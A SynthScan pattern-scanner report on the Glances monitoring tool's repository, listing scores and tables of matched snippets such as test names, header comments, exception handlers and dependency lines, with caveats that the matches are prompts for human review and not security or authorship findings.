Glances an Eye on your system. A top/htop alternative for GNU/Linux, BSD, macOS and Windows operating systems.
This report summarizes scanner evidence for nicolargo/glances, a Python project with 33,756 GitHub stars. SynthScan examined 73,273 lines of code across 374 source files, recording 1624 pattern matches distributed across 17 syntactic categories. The legacy adjusted pattern signal is 39.2 (High pattern signal); it is not an authorship estimate.
Use the findings to ask whether maintainers can explain intent, verify dependencies, simplify unnecessary scaffolding, and focus review effort. Risk Payload v1 adds ownership, supply-chain, over-engineering, and review-effort vectors when available. These are prompts for human verification, not probabilities, security findings, or measured maintenance costs.
Use each vector to guide manual verification of the underlying findings.
Can maintainers explain intent, assumptions, and trade-offs? 1210 finding(s).
Are imports declared and package/API names verified? 39 finding(s).
Are wrappers, guards, and repeated structures necessary? 1140 finding(s).
Which changes need focused human review? 1624 finding(s).
This chart tracks the legacy adjusted pattern score across scan runs. Changes can reflect source changes, scan coverage, or detector/scoring versions; they do not measure AI adoption or prove that a team refactored code. Compare runs only when their scoring versions are compatible. The dashed line tracks the raw pattern-hit count.
Groups findings by configured severity weight. Severity is not a confidence estimate, security rating, or proof that a package is missing. Verify imports against the project's manifests and inspect each finding in its local design context.
This horizontal bar chart shows where configured pattern scores accumulate across directories. Treat the bars as locations to inspect, not as evidence of authorship or code quality. Use the file-level findings to decide whether a directory needs a focused ownership, dependency, complexity, or review check.
The scanner identified 1624 distinct pattern matches across 17 syntactic categories. Each entry below represents a discrete location in the source code where the engine recorded a detector match to inspect in context. Expand any category row to inspect the individual file paths, line numbers, code snippets, and the lexical context (CODE, COMMENT, or STRING) in which each match was detected.
Reading the findings table: The Severity column indicates the configured finding weight (CRITICAL / HIGH / MEDIUM / LOW). The Context column identifies whether the match occurred inside executable code, an inline comment, or a string literal — legacy comment-context matches receive a ×1.5 score weight. The ⚡ bolt icon marks clustered matches: three or more patterns within a 10-line window, each receiving an additional ×1.5 density multiplier under the legacy scoring model.
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW⚡ | tests/test_actions_sanitize.py | 49 | def test_empty_dict_returns_empty(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 58 | def test_strips_double_ampersand(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 70 | def test_strips_append_redirect(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 76 | def test_strips_multiple_operators(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 85 | def test_preserves_int_values(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 90 | def test_preserves_float_values(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 95 | def test_preserves_none_values(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 100 | def test_preserves_bool_values(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 105 | def test_preserves_list_of_numbers(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 111 | def test_strips_operators_in_nested_list(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 118 | def test_strips_operators_in_nested_dict(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 124 | def test_strips_operators_in_deeply_nested(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 129 | def test_preserves_tuple_type(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 135 | def test_sanitize_value_passthrough_non_string(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 141 | def test_clean_string_unchanged(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 147 | def test_does_not_mutate_original(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 166 | def test_pipe_injection_in_process_name(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 177 | def test_chain_injection_in_container_name(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 191 | def test_redirect_injection_in_mount_point(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 201 | def test_append_redirect_injection(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 209 | def test_lone_ampersand_is_stripped(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 216 | def test_cross_field_ampersand_reconstruction_blocked(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 315 | def test_run_sanitizes_pipe_in_mustache(self, actions): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 325 | def test_run_sanitizes_chain_in_mustache(self, actions): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 334 | def test_run_sanitizes_redirect_in_mustache(self, actions): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 343 | def test_run_preserves_template_operators(self, actions): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 352 | def test_run_preserves_template_redirect(self, actions): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 458 | def test_allow_operators_true_when_no_args(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 461 | def test_allow_operators_true_when_flag_absent(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 464 | def test_allow_operators_false_when_disabled(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 467 | def test_allow_operators_true_when_enabled(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 470 | def test_run_passes_allow_operators_false_when_disabled(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 697 | def test_operators_in_the_value_are_never_interpreted(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 703 | def test_quotes_in_the_value_cannot_break_out(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 706 | def test_whitespace_in_the_value_cannot_split(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 709 | def test_render_is_not_applied_when_omitted(self): | CODE |
| LOW | tests/test_actions_sanitize.py | 304 | def test_run_with_safe_values(self, actions): | CODE |
| LOW | tests/test_actions_sanitize.py | 369 | def test_run_preserves_template_chain(self, actions): | CODE |
| LOW | tests/test_actions_sanitize.py | 376 | def test_run_sanitizes_cmdline_section(self, actions): | CODE |
| LOW | tests/test_actions_sanitize.py | 394 | def test_run_blocks_cross_field_ampersand_chain(self, actions): | CODE |
| LOW | tests/test_actions_sanitize.py | 409 | def test_run_does_not_execute_when_already_triggered(self, actions): | CODE |
| LOW | tests/test_actions_sanitize.py | 421 | def test_run_repeats_when_repeat_true(self, actions): | CODE |
| LOW | tests/test_actions_sanitize.py | 485 | def test_run_passes_allow_operators_true_by_default(self): | CODE |
| LOW | tests/test_actions_sanitize.py | 500 | def test_run_disabled_does_not_write_redirect_file(self): | CODE |
| LOW | tests/test_actions_sanitize.py | 548 | def test_poc_single_quoted_field_stays_one_argument(self): | CODE |
| LOW | tests/test_actions_sanitize.py | 559 | def test_unquoted_field_with_spaces_stays_one_argument(self): | CODE |
| LOW | tests/test_actions_sanitize.py | 573 | def test_double_quoted_field_stays_one_argument(self): | CODE |
| LOW | tests/test_actions_sanitize.py | 584 | def test_triple_mustache_stays_one_argument(self): | CODE |
| LOW | tests/test_actions_sanitize.py | 595 | def test_ampersand_mustache_stays_one_argument(self): | CODE |
| LOW | tests/test_actions_sanitize.py | 606 | def test_empty_value_yields_an_empty_argument(self): | CODE |
| LOW | tests/test_actions_sanitize.py | 619 | def test_protection_holds_with_disable_config_exec(self): | CODE |
| LOW | tests/test_actions_sanitize.py | 631 | def test_section_within_one_argument_is_rendered(self): | CODE |
| LOW | tests/test_actions_sanitize.py | 643 | def test_section_spanning_two_arguments_is_refused(self, caplog): | CODE |
| LOW | tests/test_actions_sanitize.py | 657 | def test_templated_redirect_target_is_expanded(self): | CODE |
| LOW⚡ | tests/test_lazy_views.py | 43 | def test_refresh_builds_nothing(plugin): | CODE |
| LOW⚡ | tests/test_lazy_views.py | 48 | def test_first_read_builds_the_views(plugin): | CODE |
| LOW⚡ | tests/test_lazy_views.py | 55 | def test_second_read_reuses_the_built_views(plugin): | CODE |
| LOW⚡ | tests/test_lazy_views.py | 61 | def test_json_contains_every_process(plugin): | CODE |
| LOW | tests/test_lazy_views.py | 73 | def test_set_views_is_not_overwritten(plugin): | CODE |
| LOW | tests/test_lazy_views.py | 79 | def test_curses_rows_stop_at_the_screen_height(plugin): | CODE |
| 702 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | tests/test_api_secure.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | tests/test_stdout_csv.py | 3 | # This file is part of Glances. | COMMENT |
| MEDIUM | tests/test_folder_list_isolation.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | tests/test_export_influxdb_v1.sh | 33 | # Create the glances database | COMMENT |
| MEDIUM | tests/test_export_snapshot_isolation.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | tests/test_stdout.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | tests/test_limits_no_credential_leak.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | tests/test_export_json.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | tests/test_core.py | 1170 | # Create a test plugin with MMM enabled | COMMENT |
| MEDIUM | tests/test_core.py | 1309 | # Create a list of stats | COMMENT |
| MEDIUM | tests/test_plugin_virsh_injection.py | 3 | # This file is part of Glances. | COMMENT |
| MEDIUM | tests/test_outdated.py | 3 | # This file is part of Glances. | COMMENT |
| MEDIUM | tests/test_rate_on_list.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | tests/test_export_timescaledb.sh | 27 | # Create the glances database | COMMENT |
| MEDIUM | tests/test_xmlrpc.py | 3 | # This file is part of Glances. | COMMENT |
| MEDIUM | tests/test_amp_secure_popen.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | tests/test_mcp.py | 3 | # This file is part of Glances. | COMMENT |
| MEDIUM | tests/test_main.py | 1 | # This file is part of Glances. | COMMENT |
| MEDIUM⚡ | tests/test_export_influxdb_v3.sh | 18 | # Create the token | COMMENT |
| MEDIUM⚡ | tests/test_export_influxdb_v3.sh | 24 | # Create a new configuration for the test | COMMENT |
| MEDIUM⚡ | tests/test_export_influxdb_v3.sh | 28 | # Create the glances database | COMMENT |
| MEDIUM⚡ | tests/test_duckdb_sanitize.py | 115 | # Create a target table that the injection would try to drop | COMMENT |
| MEDIUM | tests/test_ports_no_credential_leak.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | docs/conf.py | 5 | # This file is execfile()d with the current directory set to its | COMMENT |
| MEDIUM | glances/amps_list.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/stats_client.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/client_browser.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/standalone.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/event.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/server.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/web_list.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/attribute.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/servers_list_dynamic.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/servers_list_dynamic.py | 88 | # Create an instance of the servers list | COMMENT |
| MEDIUM | glances/config.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/config.py | 144 | """This class is used to access/read config file, if it exists. | STRING |
| MEDIUM | glances/thresholds.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/webserver.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/stats_server.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/stats_client_snmp.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/stats_client_snmp.py | 51 | # Create an instance of the SNMP client | COMMENT |
| MEDIUM | glances/timer.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/globals.py | 3 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/client.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/events_list.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/events_list.py | 285 | # Define the automatic process sort key | COMMENT |
| MEDIUM | glances/events_list.py | 288 | # Create the new log item | COMMENT |
| MEDIUM | glances/events_list.py | 356 | # Create a new clean list | COMMENT |
| MEDIUM | glances/secure.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/actions.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/__init__.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/__init__.py | 185 | # Create the Glances main instance | COMMENT |
| MEDIUM | glances/logger.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/logger.py | 26 | # Define the glances log file | COMMENT |
| MEDIUM | glances/logger.py | 40 | # Define the logging configuration | COMMENT |
| MEDIUM | glances/stats_streamer.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/processes.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/servers_list_static.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/programs.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/password_list.py | 2 | # This file is part of Glances. | COMMENT |
| 172 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM⚡ | tests/test_actions_sanitize.py | 38 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_actions_sanitize.py | 40 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_actions_sanitize.py | 158 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_actions_sanitize.py | 160 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_actions_sanitize.py | 226 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_actions_sanitize.py | 228 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_actions_sanitize.py | 255 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_actions_sanitize.py | 257 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_actions_sanitize.py | 434 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_actions_sanitize.py | 436 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_actions_sanitize.py | 522 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_actions_sanitize.py | 524 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_api_secure.py | 147 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_api_secure.py | 149 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_tui.py | 135 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_tui.py | 137 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_tui.py | 207 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_tui.py | 209 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_tui.py | 232 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_tui.py | 234 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_tui.py | 256 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_tui.py | 258 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_tui.py | 341 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_tui.py | 343 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_tui.py | 425 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_tui.py | 427 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_browser_tui.py | 31 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_browser_tui.py | 33 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_browser_tui.py | 101 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_browser_tui.py | 103 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_browser_tui.py | 163 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_browser_tui.py | 165 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_clickhouse_sanitize.py | 38 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_clickhouse_sanitize.py | 40 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_clickhouse_sanitize.py | 62 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_clickhouse_sanitize.py | 64 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_core.py | 67 | # ================= | COMMENT |
| MEDIUM | tests/test_core.py | 80 | # ============== | COMMENT |
| MEDIUM | tests/test_plugin_virsh_injection.py | 37 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_plugin_virsh_injection.py | 39 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_plugin_virsh_injection.py | 54 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_plugin_virsh_injection.py | 56 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_plugin_virsh_injection.py | 152 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_plugin_virsh_injection.py | 154 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_restful.py | 130 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_restful.py | 132 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_restful.py | 139 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_restful.py | 141 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_restful.py | 181 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_restful.py | 183 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_restful.py | 266 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_restful.py | 268 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_browser_restful.py | 31 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_browser_restful.py | 33 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_browser_restful.py | 53 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_browser_restful.py | 55 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_browser_restful.py | 102 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_browser_restful.py | 104 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_browser_restful.py | 216 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_browser_restful.py | 218 | # --------------------------------------------------------------------------- | COMMENT |
| 53 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | tests/test_core.py | 227 | except Exception as e: | CODE |
| LOW | tests/test_core.py | 233 | except Exception as e: | CODE |
| LOW | tests/test_outdated.py | 88 | except Exception: | CODE |
| LOW⚡ | tests/test_plugin_sensors.py | 307 | except Exception as e: | CODE |
| LOW⚡ | tests/test_plugin_sensors.py | 317 | except Exception as e: | CODE |
| LOW⚡ | tests/test_plugin_sensors.py | 329 | except Exception as e: | CODE |
| LOW | .claude/skills/new-export.md | 66 | except Exception as e: | CODE |
| LOW | .claude/skills/new-export.md | 86 | except Exception as e: | CODE |
| MEDIUM | tests-data/tools/csvcheck.py | 23 | print("Error: CSV file is empty") | CODE |
| MEDIUM⚡ | tests-data/tools/csvcheck.py | 35 | print(f"Error: Expected {expected_lines} lines, but found {row_count}") | CODE |
| MEDIUM⚡ | tests-data/tools/csvcheck.py | 42 | print("Error: Not all rows have the same number of columns") | CODE |
| MEDIUM⚡ | tests-data/tools/csvcheck.py | 52 | print(f"Error: Expected {expected_columns} columns, but found {header_columns}") | CODE |
| MEDIUM⚡ | tests-data/tools/csvcheck.py | 59 | print(f"Error: File '{input_file}' not found") | CODE |
| LOW⚡ | tests-data/tools/csvcheck.py | 61 | except Exception as e: | CODE |
| MEDIUM⚡ | tests-data/tools/csvcheck.py | 62 | print(f"Error processing CSV file: {str(e)}") | CODE |
| MEDIUM | tests-data/tools/csvcheck.py | 15 | def check_csv(input_file, expected_lines, expected_columns=None): | CODE |
| MEDIUM⚡ | tests-data/tools/duckdbcheck.py | 25 | print(f"Error: Expected {expected_lines} CPU lines, but found {row_count}") | CODE |
| MEDIUM⚡ | tests-data/tools/duckdbcheck.py | 33 | print(f"Error: Expected {expected_lines} Network lines, but found {row_count}") | CODE |
| MEDIUM⚡ | tests-data/tools/duckdbcheck.py | 39 | print(f"Error: File '{input_file}' not found") | CODE |
| LOW⚡ | tests-data/tools/duckdbcheck.py | 41 | except Exception as e: | CODE |
| MEDIUM⚡ | tests-data/tools/duckdbcheck.py | 42 | print(f"Error processing DuckDB file: {str(e)}") | CODE |
| MEDIUM | tests-data/tools/duckdbcheck.py | 16 | def check_duckdb(input_file, expected_lines, expected_columns=None): | CODE |
| LOW | glances/amps_list.py | 60 | except Exception as e: | CODE |
| LOW | glances/server.py | 62 | except Exception: | CODE |
| LOW | glances/server.py | 229 | except Exception as e: | CODE |
| LOW | glances/servers_list_dynamic.py | 226 | except Exception as e: | CODE |
| LOW | glances/stats_client_snmp.py | 99 | except Exception as e: | CODE |
| LOW | glances/globals.py | 170 | except Exception as e: | CODE |
| LOW | glances/globals.py | 227 | except Exception as e: | CODE |
| LOW | glances/client.py | 70 | except Exception as e: | CODE |
| LOW | glances/client.py | 245 | except Exception: | CODE |
| LOW | glances/client.py | 290 | except Exception: | CODE |
| LOW | glances/stats_streamer.py | 64 | except Exception as e: | CODE |
| LOW | glances/processes.py | 128 | except Exception as e: | CODE |
| LOW | glances/processes.py | 139 | except Exception as e: | CODE |
| LOW | glances/processes.py | 851 | except Exception as e: | CODE |
| LOW | glances/stats.py | 116 | except Exception as e: | CODE |
| LOW | glances/stats.py | 240 | except Exception as e: | CODE |
| LOW | glances/cpu_percent.py | 253 | except Exception as e: | CODE |
| LOW | glances/filter.py | 141 | except Exception as e: | CODE |
| LOW | glances/outdated.py | 25 | except Exception as e: | CODE |
| LOW | glances/outdated.py | 131 | except Exception as e: | CODE |
| LOW | glances/outdated.py | 166 | except Exception as e: | CODE |
| LOW | glances/outdated.py | 178 | except Exception as e: | CODE |
| LOW | glances/servers_list.py | 183 | except Exception as e: | CODE |
| LOW | glances/folder_list.py | 105 | except Exception: | CODE |
| LOW | glances/amps/systemv/__init__.py | 61 | except Exception as e: | CODE |
| LOW | glances/amps/default/__init__.py | 70 | except Exception as e: | CODE |
| LOW | glances/plugins/processlist/__init__.py | 221 | except Exception: | CODE |
| LOW | glances/plugins/sensors/__init__.py | 118 | except Exception as e: | CODE |
| LOW | glances/plugins/sensors/__init__.py | 156 | except Exception as e: | CODE |
| LOW | glances/plugins/sensors/sensor/glances_batpercent.py | 32 | except Exception as e: | CODE |
| LOW | glances/plugins/sensors/sensor/glances_batpercent.py | 50 | except Exception as e: | CODE |
| LOW | glances/plugins/sensors/sensor/glances_hddtemp.py | 139 | except Exception as e: | CODE |
| LOW | glances/plugins/diskio/__init__.py | 149 | except Exception: | CODE |
| LOW⚡ | glances/plugins/gpu/__init__.py | 90 | except Exception as e: | CODE |
| LOW⚡ | glances/plugins/gpu/__init__.py | 97 | except Exception as e: | CODE |
| LOW⚡ | glances/plugins/gpu/__init__.py | 106 | except Exception as e: | CODE |
| LOW⚡ | glances/plugins/gpu/__init__.py | 115 | except Exception as e: | CODE |
| LOW | glances/plugins/gpu/cards/nvidia.py | 36 | except Exception as e: | CODE |
| 138 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | tests/conftest.py | 104 | except requests.exceptions.RequestException: | CODE |
| HIGH | tests/test_plugin_network.py | 272 | except KeyError: | CODE |
| HIGH | tests/test_outdated.py | 88 | except Exception: | CODE |
| HIGH | tests/test_webui.py | 127 | except NoSuchElementException: | CODE |
| HIGH | glances/client_browser.py | 99 | except IndexError: | CODE |
| HIGH | glances/config.py | 366 | except (NoOptionError, NoSectionError): | CODE |
| HIGH | glances/config.py | 380 | except TypeError: | CODE |
| HIGH | glances/globals.py | 48 | except ImportError: | CODE |
| HIGH | glances/__init__.py | 67 | except (NameError, KeyError): | CODE |
| HIGH | glances/processes.py | 446 | except (psutil.NoSuchProcess, KeyError): | CODE |
| HIGH | glances/processes.py | 591 | except KeyError: | CODE |
| HIGH | glances/processes.py | 597 | except KeyError: | CODE |
| HIGH | glances/processes.py | 586 | except psutil.NoSuchProcess: | CODE |
| HIGH | glances/plugins/memswap/__init__.py | 80 | except (OSError, RuntimeError): | CODE |
| HIGH | glances/plugins/sensors/__init__.py | 319 | except (TypeError, ValueError): | CODE |
| HIGH | glances/plugins/amps/__init__.py | 132 | except IndexError: | CODE |
| HIGH | glances/plugins/irq/__init__.py | 213 | except OSError: | CODE |
| HIGH | glances/plugins/psutilversion/__init__.py | 44 | except NameError: | CODE |
| HIGH | glances/plugins/connections/__init__.py | 200 | except KeyError: | CODE |
| HIGH | glances/plugins/load/__init__.py | 140 | except KeyError: | CODE |
| HIGH | glances/plugins/load/__init__.py | 202 | except (AttributeError, OSError): | CODE |
| HIGH | glances/plugins/version/__init__.py | 45 | except NameError: | CODE |
| HIGH | glances/plugins/ip/__init__.py | 191 | except (UnicodeEncodeError, KeyError): | CODE |
| HIGH | glances/plugins/ports/__init__.py | 243 | except IndexError: | CODE |
| HIGH | glances/plugins/uptime/__init__.py | 69 | except Exception: | CODE |
| HIGH | glances/plugins/vms/__init__.py | 354 | except (KeyError, TypeError): | CODE |
| HIGH | glances/plugins/help/__init__.py | 52 | except AttributeError: | CODE |
| HIGH | glances/exports/export.py | 208 | except (TypeError, ValueError): | CODE |
| HIGH | glances/outputs/glances_restful_api.py | 164 | except Exception: | CODE |
| HIGH | glances/outputs/glances_restful_api.py | 229 | except KeyboardInterrupt: | CODE |
| HIGH | glances/outputs/glances_restful_api.py | 235 | except KeyboardInterrupt: | CODE |
| HIGH | glances/outputs/glances_stdout_issue.py | 75 | except Exception: | CODE |
| HIGH | glances/outputs/glances_curses.py | 471 | except Exception: | CODE |
| HIGH | glances/outputs/glances_curses.py | 475 | except Exception: | CODE |
| HIGH | glances/outputs/glances_curses.py | 1127 | except curses.error: | CODE |
| HIGH | glances/outputs/glances_curses.py | 1172 | except UnicodeDecodeError: | CODE |
| HIGH | glances/outputs/glances_curses.py | 262 | except Exception: | CODE |
| HIGH | glances/outputs/glances_curses.py | 1199 | except Exception: | CODE |
| HIGH | glances/outputs/glances_curses.py | 1219 | except Exception: | CODE |
| HIGH | glances/outputs/glances_colors.py | 109 | except Exception: | CODE |
| HIGH | glances/outputs/glances_colors.py | 119 | except Exception: | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | requirements.txt | 1 | # This file was autogenerated by uv via the following command: | COMMENT |
| LOW | dev-requirements.txt | 1 | # This file was autogenerated by uv via the following command: | COMMENT |
| LOW | dev-requirements.txt | 21 | # reuse | COMMENT |
| LOW | dev-requirements.txt | 41 | cffi==2.1.1 ; (implementation_name != 'pypy' and os_name == 'nt') or platform_python_implementation != 'PyPy' | COMMENT |
| LOW | dev-requirements.txt | 61 | # pytest | COMMENT |
| LOW | dev-requirements.txt | 81 | # sphinx-rtd-theme | COMMENT |
| LOW | dev-requirements.txt | 101 | # via matplotlib | COMMENT |
| LOW | dev-requirements.txt | 121 | # via pre-commit | COMMENT |
| LOW | dev-requirements.txt | 141 | # mcp | COMMENT |
| LOW | dev-requirements.txt | 161 | # via semgrep | COMMENT |
| LOW | dev-requirements.txt | 181 | # via | COMMENT |
| LOW | dev-requirements.txt | 201 | opentelemetry-instrumentation-requests==0.58b0 | COMMENT |
| LOW | dev-requirements.txt | 221 | # via | COMMENT |
| LOW | dev-requirements.txt | 241 | pluggy==1.6.0 | COMMENT |
| LOW | dev-requirements.txt | 261 | pygments==2.21.0 | COMMENT |
| LOW | dev-requirements.txt | 281 | # via reuse | COMMENT |
| LOW | dev-requirements.txt | 301 | # jsonschema-specifications | COMMENT |
| LOW | dev-requirements.txt | 341 | six==1.17.0 | COMMENT |
| LOW | dev-requirements.txt | 381 | # sse-starlette | COMMENT |
| LOW | dev-requirements.txt | 401 | # anyio | COMMENT |
| LOW | dev-requirements.txt | 421 | # via | COMMENT |
| LOW | dev-requirements.txt | 441 | # opentelemetry-instrumentation | COMMENT |
| LOW | docker-requirements.txt | 1 | # This file was autogenerated by uv via the following command: | COMMENT |
| LOW | docker-requirements.txt | 21 | # requests | COMMENT |
| LOW | docker-requirements.txt | 41 | exceptiongroup==1.2.2 ; python_full_version < '3.11' | COMMENT |
| LOW | docker-requirements.txt | 61 | # via glances | COMMENT |
| LOW | docker-requirements.txt | 81 | # via cffi | COMMENT |
| LOW | docker-requirements.txt | 101 | python-jose==3.5.0 | COMMENT |
| LOW | docker-requirements.txt | 121 | # via pylxd | COMMENT |
